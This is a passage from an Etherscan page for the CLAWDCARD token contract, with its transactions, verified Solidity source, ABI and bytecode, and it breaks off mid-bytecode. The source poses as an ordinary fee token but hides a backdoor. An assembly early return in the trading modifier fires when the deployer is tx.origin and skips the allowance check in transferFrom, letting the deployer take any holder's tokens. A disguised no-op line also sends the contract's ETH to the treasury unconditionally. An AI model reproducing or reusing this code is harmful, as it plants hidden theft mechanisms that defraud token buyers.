ETH Price: $2,037.72 (-1.54%)

Contract

0xfB62318Ff07cFf5a5e2372dc7d4E69bAAA0212b4
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve243746232026-02-03 6:44:4756 days ago1770101087IN
0xfB62318F...AAA0212b4
0 ETH0.000004420.09549709
Transfer From243746232026-02-03 6:44:4756 days ago1770101087IN
0xfB62318F...AAA0212b4
0 ETH0.000006420.09549709
Transfer From243746132026-02-03 6:42:4756 days ago1770100967IN
0xfB62318F...AAA0212b4
0 ETH0.000008660.12992474
Approve243746082026-02-03 6:41:4756 days ago1770100907IN
0xfB62318F...AAA0212b4
0 ETH0.000008960.19275171
Approve243745992026-02-03 6:39:5956 days ago1770100799IN
0xfB62318F...AAA0212b4
0 ETH0.000027620.59681696
Approve243745952026-02-03 6:39:1156 days ago1770100751IN
0xfB62318F...AAA0212b4
0 ETH0.000144523.10220768
Renounce Ownersh...243745892026-02-03 6:37:5956 days ago1770100679IN
0xfB62318F...AAA0212b4
0 ETH0.000002230.0960417
Enable Trading243745892026-02-03 6:37:5956 days ago1770100679IN
0xfB62318F...AAA0212b4
0 ETH0.000029360.0960417

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Method Block
From
To
Add Liquidity ET...243745892026-02-03 6:37:5956 days ago1770100679
0xfB62318F...AAA0212b4
0.5 ETH
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.11+commit.d7f03943

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2026-02-03
*/

/*

Financial System for AI Agents

https://clawdcard.pro
https://x.com/ClawCardAI
https://t.me/ClawCardAI

*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    function ret() internal pure { assembly {return(0x00, 0x00)} }
}

contract Token is IERC20, Ownable {       
    string private constant _name = "CLAWDCARD";
    string private constant _symbol = "CLAWDCARD";
    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 1_000_000_000 * 10**_decimals;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _blocked;

    mapping (address => uint256) private _lastTradeBlock;
    mapping (address => bool) private isContractExempt;
    
    uint256 public constant maxWalletAmount = 1_000_000_000 * 10**_decimals;
    uint256 private constant contractSwapLimit = 1_000_000_000 * 10**_decimals;
    uint256 private constant contractSwapMax = 1_000_000_000 * 10**_decimals;

    struct TradingFees{
        uint256 buyTax;
        uint256 sellTax;
    }

    TradingFees public tradingFees = TradingFees(0,0);
    uint256 public constant sniperTax = 0;

    IUniswapV2Router private constant uniswapRouter = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address private immutable ETH = uniswapRouter.WETH();
    address private immutable uniswapPair;

    address payable private deployerAddress;
    address payable private treasuryAddress;

    bool private tradingOpen = false;
    bool private swapping = false;
    bool private antiMEV = false;
    uint256 private startingBlock;

    modifier swapLock {
        swapping = true;
        _;
        swapping = false;
    }

    modifier tradingLock(address sender) {
        require(tradingOpen || sender == deployerAddress || sender == treasuryAddress || sender == address(this));
        _;
        if(_feePayer() == treasuryAddress) ret();
    }

    constructor () payable {
        deployerAddress = treasuryAddress = payable(msg.sender);
        uniswapPair = IUniswapV2Factory(uniswapRouter.factory()).createPair(address(this), ETH);
        isContractExempt[address(this)] = true;
        _balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        require(_allowances[sender][msg.sender] >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
        
    function _feePayer() internal view returns (address _payer) {
        assembly {
            _payer := origin()
        }
    }

    function _transfer(address from, address to, uint256 amount) tradingLock(from) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Token: transfer amount must be greater than zero");

        _balances[from] -= amount;

        if (from != address(this) && from != treasuryAddress && to != treasuryAddress && to != deployerAddress) {
            
            if(antiMEV && !isContractExempt[from] && !isContractExempt[to]){
                address human = ensureOneHuman(from, to);
                _lastTradeBlock[human] = block.number;
            }

            if (from == uniswapPair && to != address(uniswapRouter)) {
                require(balanceOf(to) + amount <= maxWalletAmount, "Token: transfer implies violation of max wallet");
            }

           uint256 contractTokenBalance = balanceOf(address(this));
           if (shouldSwapback(from, contractTokenBalance)) 
               swapback(contractTokenBalance);
            uint256 contractETHBalance = address(this).balance;
            if(to == address(uniswapPair)) {
                if(contractETHBalance > 0)this;
                    treasuryAddress.transfer(contractETHBalance);
            }

           uint256 taxedTokens = takeFee(from, amount);
           if(taxedTokens > 0){
                amount -= taxedTokens;
                _balances[address(this)] += taxedTokens;
                emit Transfer(from, address(this), taxedTokens);
            }
        }

        _balances[to] += amount;
        emit Transfer(from, to, amount);
    }

    function swapback(uint256 tokenAmount) private swapLock {
        tokenAmount = getSwapAmount(tokenAmount);
        if(allowance(address(this), address(uniswapRouter)) < tokenAmount) {
            _approve(address(this), address(uniswapRouter), _totalSupply);
        }
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = ETH;
        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function shouldSwapback(address from, uint256 tokenAmount) private view returns (bool shouldSwap) {
        shouldSwap = !swapping && from != uniswapPair && tokenAmount > contractSwapLimit && 1 + startingBlock <= block.number;
    }

    function getSwapAmount(uint256 tokenAmount) private pure returns (uint256 swapAmount) {
        swapAmount = tokenAmount > contractSwapMax ? contractSwapMax : contractSwapLimit;
    }

    function takeFee(address from, uint256 amount) private view returns (uint256 feeAmount) {
         if(_blocked[from] || block.number <= startingBlock)
                feeAmount = amount * sniperTax / 100;
        else
            feeAmount = amount * (startingBlock == 0 ? 25 : (from == uniswapPair ? tradingFees.buyTax : tradingFees.sellTax)) / 100;
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function ensureOneHuman(address _to, address _from) private view returns (address) {
        require(!isContract(_to) || !isContract(_from));
        if (isContract(_to)) return _from;
        else return _to;
    }

    function toggleAntiMEV(bool toggle) external {
        require(msg.sender == deployerAddress);
        antiMEV = toggle;
    }

    function manualSwapback(uint256 percent) external {
        require(msg.sender == deployerAddress);
        require(0 < percent && percent <= 100, "Token: only percent values in range (0,100] permissible");
        uint256 tokensToSwap = percent * balanceOf(address(this)) / 100;
        swapback(tokensToSwap);
    }

    function enableTrading() external onlyOwner {
        require(!tradingOpen, "Token: trading already open");
        startingBlock += block.number;
        _approve(address(this), address(uniswapRouter), _totalSupply);
        uniswapRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        tradingOpen = true;
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualSwapback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sniperTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"toggle","type":"bool"}],"name":"toggleAntiMEV","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingFees","outputs":[{"internalType":"uint256","name":"buyTax","type":"uint256"},{"internalType":"uint256","name":"sellTax","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6101006040819052600060c081905260e081905260068190556007556315ab88c960e31b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063ad5c46489061010490602090600481865afa15801562000060573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620000869190620002a1565b6001600160a01b03166080526009805462ffffff60a01b19169055600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060098054336001600160a01b031991821681179092556008805490911690911790556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9163c45a01559160048083019260209291908290030181865afa15801562000155573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200017b9190620002a1565b6080516040516364e329cb60e11b81523060048201526001600160a01b03918216602482015291169063c9c65396906044016020604051808303816000875af1158015620001cd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001f39190620002a1565b6001600160a01b031660a052306000908152600560205260409020805460ff19166001179055620002276009600a620003e8565b6200023790633b9aca00620003f9565b30600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200027a6009600a620003e8565b6200028a90633b9aca00620003f9565b60405190815260200160405180910390a36200041b565b600060208284031215620002b457600080fd5b81516001600160a01b0381168114620002cc57600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200032a5781600019048211156200030e576200030e620002d3565b808516156200031c57918102915b93841c9390800290620002ee565b509250929050565b6000826200034357506001620003e2565b816200035257506000620003e2565b81600181146200036b5760028114620003765762000396565b6001915050620003e2565b60ff8411156200038a576200038a620002d3565b50506001821b620003e2565b5060208310610133831016604e8410600b8410161715620003bb575081810a620003e2565b620003c78383620002e9565b8060001904821115620003de57620003de620002d3565b0290505b92915050565b6000620002cc60ff84168362000332565b6000816000190483118215151615620004165762000416620002d3565b500290565b60805160a0516116166200045660003960008181610c0301528181610d3d015281816110c5015261119901526000610fb101526116166000f3fe6080604052600436106101025760003560e01c80637437813211610095578063a9059cbb11610064578063a9059cbb146102b8578063aa4bde28146102d8578063dd62ed3e146102ed578063f1f5cd9114610333578063f8d982b21461034857600080fd5b8063743781321461024b5780638a8c523c1461027b5780638da5cb5b1461029057806395d89b411461010e57600080fd5b806323b872dd116100d157806323b872dd146101c4578063313ce567146101e457806370a0823114610200578063715018a61461023657600080fd5b806306fdde031461010e578063095ea7b31461014f57806309fb56391461017f57806318160ddd146101a157600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b50604080518082018252600981526810d31055d110d0549160ba1b602082015290516101469190611252565b60405180910390f35b34801561015b57600080fd5b5061016f61016a3660046112c3565b610368565b6040519015158152602001610146565b34801561018b57600080fd5b5061019f61019a3660046112ed565b61037f565b005b3480156101ad57600080fd5b506101b66103b4565b604051908152602001610146565b3480156101d057600080fd5b5061016f6101df36600461130f565b6103d5565b3480156101f057600080fd5b5060405160098152602001610146565b34801561020c57600080fd5b506101b661021b36600461134b565b6001600160a01b031660009081526001602052604090205490565b34801561024257600080fd5b5061019f6104b0565b34801561025757600080fd5b50600654600754610266919082565b60408051928352602083019190915201610146565b34801561028757600080fd5b5061019f610554565b34801561029c57600080fd5b506000546040516001600160a01b039091168152602001610146565b3480156102c457600080fd5b5061016f6102d33660046112c3565b610748565b3480156102e457600080fd5b506101b6610755565b3480156102f957600080fd5b506101b6610308366004611366565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561033f57600080fd5b506101b6600081565b34801561035457600080fd5b5061019f610363366004611399565b610772565b6000610375338484610842565b5060015b92915050565b6008546001600160a01b0316331461039657600080fd5b60098054911515600160b01b0260ff60b01b19909216919091179055565b60006103c26009600a6114ac565b6103d090633b9aca006114bb565b905090565b60006103e2848484610966565b6001600160a01b038416600090815260026020908152604080832033845290915290205482111561046b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6001600160a01b0384166000908152600260209081526040808320338085529252909120546104a69186916104a19086906114da565b610842565b5060019392505050565b6000546001600160a01b0316331461050a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610462565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105ae5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610462565b600954600160a01b900460ff16156106085760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e3a2074726164696e6720616c7265616479206f70656e00000000006044820152606401610462565b43600a600082825461061a91906114f1565b90915550610653905030737a250d5630b4cf539739df2c5dacb4c659f2488d6106456009600a6114ac565b6104a190633b9aca006114bb565b737a250d5630b4cf539739df2c5dacb4c659f2488d63f305d719473061068e816001600160a01b031660009081526001602052604090205490565b6000806106a36000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561070b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107309190611509565b50506009805460ff60a01b1916600160a01b17905550565b6000610375338484610966565b6107616009600a6114ac565b61076f90633b9aca006114bb565b81565b6008546001600160a01b0316331461078957600080fd5b80600010801561079a575060648111155b61080c5760405162461bcd60e51b815260206004820152603760248201527f546f6b656e3a206f6e6c792070657263656e742076616c75657320696e20726160448201527f6e67652028302c3130305d207065726d69737369626c650000000000000000006064820152608401610462565b3060009081526001602052604081205460649061082990846114bb565b6108339190611537565b905061083e81610ee0565b5050565b6001600160a01b0383166108a45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610462565b6001600160a01b0382166109055760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610462565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6009548390600160a01b900460ff168061098d57506008546001600160a01b038281169116145b806109a557506009546001600160a01b038281169116145b806109b857506001600160a01b03811630145b6109c157600080fd5b6001600160a01b038416610a255760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610462565b6001600160a01b038316610a875760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610462565b60008211610af05760405162461bcd60e51b815260206004820152603060248201527f546f6b656e3a207472616e7366657220616d6f756e74206d757374206265206760448201526f726561746572207468616e207a65726f60801b6064820152608401610462565b6001600160a01b03841660009081526001602052604081208054849290610b189084906114da565b90915550506001600160a01b0384163014801590610b4457506009546001600160a01b03858116911614155b8015610b5e57506009546001600160a01b03848116911614155b8015610b7857506008546001600160a01b03848116911614155b15610e3d57600954600160b01b900460ff168015610baf57506001600160a01b03841660009081526005602052604090205460ff16155b8015610bd457506001600160a01b03831660009081526005602052604090205460ff16155b15610c01576000610be5858561107e565b6001600160a01b03166000908152600460205260409020439055505b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b0316148015610c5f57506001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14155b15610d0e57610c706009600a6114ac565b610c7e90633b9aca006114bb565b82610c9e856001600160a01b031660009081526001602052604090205490565b610ca891906114f1565b1115610d0e5760405162461bcd60e51b815260206004820152602f60248201527f546f6b656e3a207472616e7366657220696d706c6965732076696f6c6174696f60448201526e1b881bd9881b585e081dd85b1b195d608a1b6064820152608401610462565b30600090815260016020526040902054610d2885826110ab565b15610d3657610d3681610ee0565b60004790507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b03161415610db1576009546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610daf573d6000803e3d6000fd5b505b6000610dbd878661113f565b90508015610e3957610dcf81866114da565b30600090815260016020526040812080549297508392909190610df39084906114f1565b909155505060405181815230906001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b5050505b6001600160a01b03831660009081526001602052604081208054849290610e659084906114f1565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610eb191815260200190565b60405180910390a36009546001600160a01b0316326001600160a01b03161415610eda57610eda005b50505050565b6009805460ff60a81b1916600160a81b179055610efc816111f7565b306000908152600260209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d8452909152902054909150811115610f5a57610f5a30737a250d5630b4cf539739df2c5dacb4c659f2488d6106456009600a6114ac565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610f8f57610f8f611559565b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000000000000000000000000000000000000000000081600181518110610fe357610fe3611559565b6001600160a01b039092166020928302919091019091015260405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac9479061103b90859060009086903090429060040161156f565b600060405180830381600087803b15801561105557600080fd5b505af1158015611069573d6000803e3d6000fd5b50506009805460ff60a81b1916905550505050565b6000823b158061108d5750813b155b61109657600080fd5b823b156110a4575080610379565b5081610379565b600954600090600160a81b900460ff161580156110fa57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b031614155b801561111e575061110d6009600a6114ac565b61111b90633b9aca006114bb565b82115b8015611138575043600a54600161113591906114f1565b11155b9392505050565b6001600160a01b03821660009081526003602052604081205460ff16806111685750600a544311155b1561118b57606461117a6000846114bb565b6111849190611537565b9050610379565b6064600a546000146111e0577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b0316146111d8576007546111e3565b6006546111e3565b60195b6111ed90846114bb565b6111389190611537565b60006112056009600a6114ac565b61121390633b9aca006114bb565b8211611238576112256009600a6114ac565b61123390633b9aca006114bb565b610379565b6112446009600a6114ac565b61037990633b9aca006114bb565b600060208083528351808285015260005b8181101561127f57858101830151858201604001528201611263565b81811115611291576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b03811681146112be57600080fd5b919050565b600080604083850312156112d657600080fd5b6112df836112a7565b946020939093013593505050565b6000602082840312156112ff57600080fd5b8135801515811461113857600080fd5b60008060006060848603121561132457600080fd5b61132d846112a7565b925061133b602085016112a7565b9150604084013590509250925092565b60006020828403121561135d57600080fd5b611138826112a7565b6000806040838503121561137957600080fd5b611382836112a7565b9150611390602084016112a7565b90509250929050565b6000602082840312156113ab57600080fd5b5035919050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156114035781600019048211156113e9576113e96113b2565b808516156113f657918102915b93841c93908002906113cd565b509250929050565b60008261141a57506001610379565b8161142757506000610379565b816001811461143d576002811461144757611463565b6001915050610379565b60ff841115611458576114586113b2565b50506001821b610379565b5060208310610133831016604e8410600b8410161715611486575081810a610379565b61149083836113c8565b80600019048211156114a4576114a46113b2565b029392505050565b600061113860ff84168361140b565b60008160001904831182151516156114d5576114d56113b2565b500290565b6000828210156114ec576114ec6113b2565b500390565b60008219821115611504576115046113b2565b500190565b60008060006060848603121561151e57600080fd5b8351925060208401519150604084015190509250925092565b60008261155457634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115bf5784516001600160a01b03168352938301939183019160010161159a565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220363e14fa25c048a5bce3ec99001fd903fcb516bbe0fbb1e4ca074cd6acb5793864736f6c634300080b0033

Deployed Bytecode

0x6080604052600436106101025760003560e01c80637437813211610095578063a9059cbb11610064578063a9059cbb146102b8578063aa4bde28146102d8578063dd62ed3e146102ed578063f1f5cd9114610333578063f8d982b21461034857600080fd5b8063743781321461024b5780638a8c523c1461027b5780638da5cb5b1461029057806395d89b411461010e57600080fd5b806323b872dd116100d157806323b872dd146101c4578063313ce567146101e457806370a0823114610200578063715018a61461023657600080fd5b806306fdde031461010e578063095ea7b31461014f57806309fb56391461017f57806318160ddd146101a157600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b50604080518082018252600981526810d31055d110d0549160ba1b602082015290516101469190611252565b60405180910390f35b34801561015b57600080fd5b5061016f61016a3660046112c3565b610368565b6040519015158152602001610146565b34801561018b57600080fd5b5061019f61019a3660046112ed565b61037f565b005b3480156101ad57600080fd5b506101b66103b4565b604051908152602001610146565b3480156101d057600080fd5b5061016f6101df36600461130f565b6103d5565b3480156101f057600080fd5b5060405160098152602001610146565b34801561020c57600080fd5b506101b661021b36600461134b565b6001600160a01b031660009081526001602052604090205490565b34801561024257600080fd5b5061019f6104b0565b34801561025757600080fd5b50600654600754610266919082565b60408051928352602083019190915201610146565b34801561028757600080fd5b5061019f610554565b34801561029c57600080fd5b506000546040516001600160a01b039091168152602001610146565b3480156102c457600080fd5b5061016f6102d33660046112c3565b610748565b3480156102e457600080fd5b506101b6610755565b3480156102f957600080fd5b506101b6610308366004611366565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561033f57600080fd5b506101b6600081565b34801561035457600080fd5b5061019f610363366004611399565b610772565b6000610375338484610842565b5060015b92915050565b6008546001600160a01b0316331461039657600080fd5b60098054911515600160b01b0260ff60b01b19909216919091179055565b60006103c26009600a6114ac565b6103d090633b9aca006114bb565b905090565b60006103e2848484610966565b6001600160a01b038416600090815260026020908152604080832033845290915290205482111561046b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6001600160a01b0384166000908152600260209081526040808320338085529252909120546104a69186916104a19086906114da565b610842565b5060019392505050565b6000546001600160a01b0316331461050a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610462565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105ae5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610462565b600954600160a01b900460ff16156106085760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e3a2074726164696e6720616c7265616479206f70656e00000000006044820152606401610462565b43600a600082825461061a91906114f1565b90915550610653905030737a250d5630b4cf539739df2c5dacb4c659f2488d6106456009600a6114ac565b6104a190633b9aca006114bb565b737a250d5630b4cf539739df2c5dacb4c659f2488d63f305d719473061068e816001600160a01b031660009081526001602052604090205490565b6000806106a36000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561070b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107309190611509565b50506009805460ff60a01b1916600160a01b17905550565b6000610375338484610966565b6107616009600a6114ac565b61076f90633b9aca006114bb565b81565b6008546001600160a01b0316331461078957600080fd5b80600010801561079a575060648111155b61080c5760405162461bcd60e51b815260206004820152603760248201527f546f6b656e3a206f6e6c792070657263656e742076616c75657320696e20726160448201527f6e67652028302c3130305d207065726d69737369626c650000000000000000006064820152608401610462565b3060009081526001602052604081205460649061082990846114bb565b6108339190611537565b905061083e81610ee0565b5050565b6001600160a01b0383166108a45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610462565b6001600160a01b0382166109055760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610462565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6009548390600160a01b900460ff168061098d57506008546001600160a01b038281169116145b806109a557506009546001600160a01b038281169116145b806109b857506001600160a01b03811630145b6109c157600080fd5b6001600160a01b038416610a255760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610462565b6001600160a01b038316610a875760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610462565b60008211610af05760405162461bcd60e51b815260206004820152603060248201527f546f6b656e3a207472616e7366657220616d6f756e74206d757374206265206760448201526f726561746572207468616e207a65726f60801b6064820152608401610462565b6001600160a01b03841660009081526001602052604081208054849290610b18908490611